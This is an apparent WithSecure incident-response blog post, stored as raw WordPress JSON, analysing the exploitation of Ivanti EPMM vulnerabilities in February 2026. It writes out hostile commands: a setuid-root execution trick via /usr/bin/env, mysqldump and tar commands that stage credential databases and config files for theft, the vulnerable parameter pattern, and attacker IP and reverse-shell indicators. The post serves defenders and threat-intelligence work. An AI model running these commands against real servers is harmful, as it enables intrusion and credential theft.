js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/ivanti-epmm-exploitation\/&#038;title=Ivanti%20EPMM%20Exploitation:%20Hit-and-Run\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Ivanti EPMM Exploitation: Hit-and-Run&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/ivanti-epmm-exploitation\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>Executive Summary<\/h2>\n<p>This blogpost, written by WithSecure&#8217;s STINGR Group, presents the analysis of a security incident that happened in February 2026 and was investigated by the WithSecure Incident Response team. Threat actors exfiltrated sensitive data from a server running Ivanti Endpoint Manager Mobile (EPMM) by exploiting two critical RCE vulnerabilities for which a public Proof-of-Concept exploit had appeared only a few days before this incident.<\/p>\n<p>Although exploitation of these vulnerabilities was widespread in-the-wild and has since been described in a number of write-ups, the investigation of this IR case led to several previously undocumented key findings:<\/p>\n<ul>\n<li>We observed opportunistic exploitation attempts around the same time by multiple threat actors. Some of these attemps were successful (and managed to create persistent access to be used in the future), others failed due to URL encoding errors.<\/li>\n<li>The attack in which data exfiltration was confirmed, has likely been conducted in a fully automatic way and was well prepared.<\/li>\n<li>This threat actor used tooling based on an open-source offensive framework known as AntSword, which reduced the time and effort to develop a working attack. Moreover, there are signs of reusing parts of the tooling from another threat actor.<\/li>\n<\/ul>\n<h2>Introduction<\/h2>\n<p>Since late January, threat actors have been actively exploiting CVE-2026-1281 and CVE-2026-1340, two critical RCE vulnerabilities in Ivanti Endpoint Manager Mobile (EPMM), a platform used by enterprises to manage mobile devices. The CVEs allow an unauthenticated attacker to execute arbitrary code on the system hosting the affected software.<\/p>\n<p>A detailed technical analysis of the vulnerabilities can be found <a href=\"https:\/\/labs.watchtowr.com\/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340\/\" target=\"_blank\" rel=\"noopener\">in other write-ups<\/a>, but in summary, exploitation can be achieved by sending a specially crafted HTTP GET request of the following format:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-01-http-req.png.webp\" alt=\"\" \/><\/figure>\n<p>If the start time (&#8216;st&#8217;) or end time (&#8216;et&#8217;) is set to &#8216;theValue &#8216;, the server logic enters an unexpected state. This will cause any backquoted strings in the &#8216;gPath&#8217; array to be evaluated by the shell, enabling pre-authentication code execution.<\/p>\n<p>Before Ivanti released <a href=\"https:\/\/hub.ivanti.com\/s\/article\/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US\" target=\"_blank\" rel=\"noopener\">its official security advisory<\/a>, the vulnerabilities were already exploited as zero-days at a small number of customer environments. However, mass exploitation started shortly after a public Proof-of-Concept became available.<\/p>\n<p>One of the compromised instances was investigated by WithSecure&#8217;s Incident Response (IR) team, who contacted the Strategic Threat Intelligence &amp; Research Group (STINGR) to assist with the analysis of the web server HTTP access logs that indicated exploitation attempts.<\/p>\n<p>This blogpost describes the results of that analysis, and includes some findings that &#8211; to our knowledge &#8211; have not been previously reported.<\/p>\n<h2>The &#8220;trial-and-error&#8221; exploitation<\/h2>\n<p>On the investigated host, we identified the execution of commands <a href=\"https:\/\/unit42.paloaltonetworks.com\/ivanti-cve-2026-1281-cve-2026-1340\/\" target=\"_blank\" rel=\"noopener\">that were also observed at other vulnerable EPMM instances<\/a>:<\/p>\n<ol>\n<li>Reconnaisance: the attacker sends a sleep call in the request, and if the connection hangs for the specified duration, the attacker could confirm that the target is vulnerable.<\/li>\n<\/ol>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-02-recon.png.webp\" alt=\"\" \/><\/figure>\n<ol>\n<li>Attempt to execute a reverse shell by initiating an outbound connection from the server.<\/li>\n<\/ol>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-03-rev-shell.png.webp\" alt=\"\" \/><\/figure>\n<ol>\n<li>Webshell: create persistent access by appending a small Java-based webshell to the &#8216;403.jsp&#8217; error page.<\/li>\n<\/ol>\n<p>The command contains a base64 encoded string that will be decoded and executed using &#8216;bash&#8217;:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-04-webshell.png.webp\" alt=\"\" \/><\/figure>\n<p>The decoded command first checks whether the webshell already exists in &#8216;403.jsp&#8217;. If not, it will be appended. Additionally, the command sets the &#8216;setuid&#8217; bit to &#8216;\/usr\/bin\/env&#8217;, allowing the threat actor to execute commands with &#8216;root&#8217; privileges.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-05-webshell-decode.png.webp\" alt=\"\" \/><\/figure>\n<p>The webshell checks if the HTTP request has a parameter named &#8216;k&#8217;. If so, the value is expected to be a compiled Java class, in base64-encoded form. It implements two ways of decoding the payload to support older and newer versions of the Java runtime.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-06-webshell-java.png.webp\" alt=\"\" \/><\/figure>\n<p>In other words, this allows the execution of any Java code that an attacker compiles and encodes, essentially acting as a potential backdoor and thus providing persistent access to the compromised host.<\/p>\n<p>This webshell is a variant of the open-source JSP webshell known as <a href=\"https:\/\/github.com\/AntSwordProject\/AntSword-JSP-Template?tab=readme-ov-file#shell\" target=\"_blank\" rel=\"noopener\">AntSword<\/a>. The only relevant difference is that a couple of names have been &#8220;obfuscated&#8221;: it checks for argument &#8216;k&#8217; instead of &#8216;ant&#8217; in the HTTP request, and the method &#8216;base64Decode&#8217; has been renamed to simply &#8216;p&#8217;.<\/p>\n<p>All of the above commands were executed over several days, starting on 2 February, and with numerous variations. This indicates that multiple threat actors were mass scanning the internet for vulnerable EPMM servers.<\/p>\n<p>It should also be noted that not every command was properly executed due to incorrect URL encoding, which suggests the highly opportunistic nature of these attacks.<\/p>\n<h2>A threat actor with a mission<\/h2>\n<p>However, on 9 February, a sequence of HTTP requests was sent by an attacker who appeared to know exactly what they were doing. The entire operation was completed within just 6 seconds, strongly suggesting that it was fully automated and leaving no opportunity for manual intervention.<\/p>\n<p>The first request triggered the vulnerability to install the webshell in &#8216;403.jsp&#8217;.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-07-http-req-webshell.png.webp\" alt=\"\" \/><\/figure>\n<p>This request was repeated 10 times, with identical content except for the random UUID in the IPA filename. While the rationale behind this repetition is unclear, our hypothesis is that the attacker&#8217;s tooling interpreted the response value &#8216;1&#8217; (returned when the webshell already exists, as shown in Figure 05) as a failure and therefore retried the exploit up to a fixed limit. In this case, the webshell had already been added by another threat actor on 4 February.<\/p>\n<p>It is important to note that this initial command does not execute anything else by itself: it just adds the &#8220;feature&#8221; to &#8216;403.jsp&#8217; to accept and load a Java class passed via the &#8216;k&#8217; argument in the HTTP request. That is exactly how the threat actor used it in the subsequent HTTP request:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-08-http-req-info.png.webp\" alt=\"\" \/><\/figure>\n<p>The other argument, &#8216;k0f53cf964d387&#8217;, is ignored by the web shell, but it is used by the loaded Java class, as shown in Figure 09 below.<\/p>\n<p>As mentioned before, the webshell base64-decodes the &#8216;k&#8217; parameter, resulting in a binary with header bytes &#8216;CA FE BA BE&#8217;, a compiled Java class. We decompiled the payload using <a href=\"https:\/\/jdec.app\/\" target=\"_blank\" rel=\"noopener\">jdec<\/a>:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-09-info-java-scaled.png.webp\" alt=\"\" \/><\/figure>\n<p>The webshell code in the JSP file loads the &#8216;Info&#8217; class and executes the &#8216;equals()&#8217; method, which performs two actions:<\/p>\n<ul>\n<li>Collect some basic system information: the user working directory, the operating system name, the user account name, and the file system root paths. Concatenate the values into a tab-separated string.<\/li>\n<li>Get the &#8216;k0f53cf964d387&#8217; argument, remove the first two characters, and base64-decode the remaining string. The result should be a next-stage compiled Java class. Instantiate the class, and invoke the constructor that accepts a String as the first and only argument. The collected system information is passed as the constructor argument, so that this next-stage payload can use it. Finally, call the &#8216;toString()&#8217; method of this class and return its result in the HTTP response. If any error occurs, or if no next-stage payload is provided, then return the original string of system information in the response. The returned data is always wrapped in fixed marker strings &#8216;3cd3d&#8217; and &#8216;e60537&#8217;.<\/li>\n<\/ul>\n<p>In this case, the &#8216;k0f53cf964d387&#8217; argument is just two characters &#8216;WX&#8217;, which is removed, so the payload simply returned the original string of system information. In other words, the attacker has only used this payload for reconnaissance purposes.<\/p>\n<p>This is the same payload observed <a href=\"https:\/\/defusedcyber.com\/ivanti-epmm-sleeper-shells-403jsp\" target=\"_blank\" rel=\"noopener\">in some other attacks targeting EPMM servers<\/a>.<\/p>\n<p>Just like the webshell itself, there is again a significant code overlap with an <a href=\"https:\/\/github.com\/AntSwordProject\/AntSword-JSP-Template\/blob\/master\/src\/base\/Info.java\" target=\"_blank\" rel=\"noopener\">AntSword webshell payload<\/a>. The main differences are also some names and constants, which are more obfuscated than in the AntSword version.<\/p>\n<p>The unobfuscated AntSword payload reveals an interesting detail though: the parameter checked in the HTTP request is called &#8216;antswordargdecoder&#8217;. We suspect that the AntSword authors did not have a next-stage payload feature in mind here, but rather a way to customize the formatting of the collected information.<\/p>\n<p>Regardless, the attacker could have used this payload feature to execute a next-stage payload, but they went for a different approach. Here is what they sent next:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-10-http-req-exfil.png.webp\" alt=\"\" \/><\/figure>\n<p>Here is where it gets really interesting. The &#8216;k&#8217; parameter is different from the one in the previous HTTP request: the threat actor has created another Java payload to use in this operation. We used &#8216;jdec&#8217; again to decompile it:<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ivanti-11-exec-java.png.webp\" alt=\"\" \/><\/figure>\n<p>The &#8216;Exec&#8217; class functionality is very straightforward: get the command provided in the &#8216;i&#8217; parameter, execute it, and return the &#8216;stdout&#8217; and &#8216;stderr&#8217; in the HTTP response (wrapped in the marker string &#8216;()&#8217;).<\/p>\n<p>Noteworthy is the way the command is executed: &#8220;\/bin\/sh -c \/usr\/bin\/env \/bin\/sh -p -c &#8216;&lt;command&gt;&#8217;&#8221;. Remember that the installation of the webshell in &#8216;403.jsp&#8217; also sets the &#8216;setuid&#8217; bit to &#8216;\/usr\/bin\/env&#8217;? That way, the passed command is executed as &#8216;root&#8217;.<\/p>\n<p>As you can see in Figure 10 above, the attacker executed 3 commands like this:<\/p>\n<ul>\n<li>&#8216;hostname&#8217;<\/li>\n<\/ul>\n<p>This returns the server name to the threat actor, most likely for additional reconnaissance.<\/p>\n<ul>\n<li>&#8216;mysqldump &#8211;databases mifs &#8211;tables [tables] &gt; \/var\/www\/ext\/html\/tmp&#8217;<\/li>\n<\/ul>\n<p>This commands dumps 7 tables from the Ivanti &#8216;mifs&#8217; database and saves the output to a file &#8216;tmp&#8217;. The dumped tables contain credentials and other sensitive data of the mobile devices managed by EPMM.<\/p>\n<ul>\n<li>&#8216;tar -czvf \/var\/www\/ext\/html\/tmpno \/mi\/files\/system&#8217;<\/li>\n<\/ul>\n<p>This creates an archive &#8216;tmpno&#8217; of &#8216;\/mi\/files\/system&#8217;, a directory consisting of a few configuration files containing sensitive data such as admin account credentials for the EPMM installation.<\/p>\n<p>Both files &#8216;tmp&#8217; and &#8216;tmpno&#8217; were written to a web-accessible directory. The attacker then fetched these files from the server via a simple HTTP request.<\/p>\n<p>These actions also make the attacker&#8217;s goal very clear: stealing of credentials and other sensitive data. And since the whole attack was most likely fully automated, they were well prepared: they obviously have studied EPMM on beforehand so that they knew exactly where the sensitive data is stored.<\/p>\n<p>Finally, the attacker attempted to cover their tracks and removed the created files from the server by executing an &#8216;rm&#8217; command via the same webshell payload.<\/p>\n<p>While this &#8216;Exec&#8217; class shows code overlap with a <a href=\"https:\/\/github.com\/AntSwordProject\/AntSword-JSP-Template\/blob\/master\/src\/command\/Exec.java\" target=\"_blank\" rel=\"noopener\">corresponding AntSword payload<\/a>, it is more heavily customized than the JSP webshell and the &#8216;Info&#8217; payload. The methods &#8216;equals()&#8217; and &#8216;ExecuteCommandCode()&#8217; have been significantly simplified, and redundant methods have been removed.<\/p>\n<p>Fun fact: while the &#8216;Info&#8217; class has been compiled as file format version 49 and thus <a href=\"https:\/\/en.wikipedia.org\/wiki\/Java_class_file\" target=\"_blank\" rel=\"noopener\">compatible with Java runtime version 5 and newer<\/a>, the &#8216;Exec&#8217; class has file format version 61 and requires at least Java 17. This makes the backwards compatibility code in the webshell rather pointless, it also suggests that both payloads were likely created and compiled by two different threat actors.<\/p>\n<h2>Conclusion<\/h2>\n<p>This investigated incident is a concrete example of how rapidly attackers can start mass-exploiting certain vulnerabilities as soon as they become publicly known. The reuse and quick customization of open-source offensive frameworks like AntSword enables threat actors to perform fully automated attacks with minimal effort, reducing the time between disclosure and exploitation to a few days or even hours.<\/p>\n<p>While some threat actors rely on opportunistic and trial-and-error exploitation, there are always others that invest additional effort to develop a proper attack chain that will get maximum profit out of an exploitable system. In this case, an attacker successfully exfiltrated all sensitive data from the Ivanti EPMM server, all within just a few seconds, leaving no time for defenders to react manually to try and stop the attack.<\/p>\n<p>The case also underscores the importance of applying security updates as quickly as possible, and robust exposure management for internet-facing systems.<\/p>\n<p>Special thanks to Mikko Poussu from our Incident Response team for his contributions to the investigation.<\/p>\n<h2>Indicators of Compromise (IOCs)<\/h2>\n<table cellpadding=\"1\" cellspacing=\"0\" border=\"1\">\n<tbody>\n<tr>\n<th scope=\"col\">Value<\/th>\n<th scope=\"col\">Description<\/th>\n<\/tr>\n<tr>\n<td>157[.]20[.]182[.]49<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>62[.]84[.]168[.]208<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>195[.]216[.]177[.]70<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>194[.]35[.]226[.]128<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>185[.]239[.]140[.]40<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>64[.]226[.]156[.]242<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>115[.]167[.]65[.]16<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>46[.]34[.]44[.]66<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>85[.]17[.]145[.]7<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>193[.]32[.]249[.]162<\/td>\n<td>Attacker IP address &#8211; performed automatic data exfiltration<\/td>\n<\/tr>\n<tr>\n<td>46[.]151[.]182[.]30<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>155[.]212[.]242[.]98<\/td>\n<td>Attacker IP address<\/td>\n<\/tr>\n<tr>\n<td>146[.]70[.]41[.]193:443<\/td>\n<td>Reverse shell IP:Port<\/td>\n<\/tr>\n<tr>\n<td>23[.]227[.]199[.]80:443<\/td>\n<td>Reverse shell IP:Port<\/td>\n<\/tr>\n<tr>\n<td>&#8220;=theValue%20%20&#8221;<\/td>\n<td>URL pattern indicating exploitation<\/td>\n<\/tr>\n<tr>\n<td>&#8220;h=gPath%5B%60&#8221;<\/td>\n<td>URL pattern indicating exploitation<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/ivanti-epmm-exploitation\/&#038;title=Ivanti%20EPMM%20Exploitation:%20Hit-and-Run\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Ivanti EPMM Exploitation: Hit-and-Run&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/ivanti-epmm-exploitation\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"<p>This blogpost, written by WithSecure\u2019s STINGR Group, presents the analysis of a security incident that happened in February 2026 and was investigated by the WithSecure Incident Response team.<\/p>\n","protected":false},"author":3,"featured_media":8856,"template":"","categories":[272,234,269],"labs_content_type":[298,296,224],"class_list":["post-8187","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-dfir","category-server-security","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"1200\" 